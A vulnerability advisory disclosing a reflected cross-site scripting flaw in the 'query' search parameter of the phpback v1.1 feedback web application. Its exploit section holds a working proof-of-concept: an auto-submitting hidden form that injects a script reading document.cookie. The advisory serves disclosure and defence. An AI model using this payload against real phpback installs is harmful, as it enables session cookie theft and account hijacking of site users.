[+] Credits: hyp3rlinx

[+] Website: hyp3rlinx.altervista.org

[+] Source:  http://hyp3rlinx.altervista.org/advisories/PHPBACK-XSS.txt



Vendor:
====================
www.phpback.org



Product:
===============
phpback v1.1

The open source feedback system, PHPBack is feedback a web application that
you can easily
implement on your website. It gives your customers a way to communicate
their ideas to
improve your products.



Vulnerability Type:
==========================
Cross site scripting - XSS



CVE Reference:
==============
N/A



Vulnerability Details:
======================
XSS vulnerability exist in search field 'query' parameter allowing
arbitrary client side JS code
execution on victims who click our infected linx or visit our infected
webpage. Session ID theft
may follow as well as possibility to bypass CSRF protections etc...



XSS Exploit code(s):
===================

<form id='InFeCT0r' action="
http://localhost/phpback_v1.1/phpback-1.1c/home/search" method="POST">
<input name="query" type="hidden"
value="'<script>alert(document.cookie)</script>">
<script>document.getElementById('InFeCT0r').submit()</script>
</form>



Disclosure Timeline:
=====================
Vendor Notification: December 11, 2015
December 15, 2015  : Public Disclosure




Exploitation Technique:
=======================
Remote



Severity Level:
================
High




Description:
=====================================================
Request Method(s):              [+] POST


Vulnerable Product:             [+] phpback v1.1


Vulnerable Parameter(s):        [+] query



[+] Disclaimer
Permission is hereby granted for the redistribution of this advisory,
provided that it is not altered except by reformatting it, and that due
credit is given. Permission is explicitly given for insertion in
vulnerability databases and similar, provided that due credit is given to
the author.
The author is not responsible for any misuse of the information contained
herein and prohibits any malicious use of all security related information
or exploits by the author or elsewhere.

by hyp3rlinx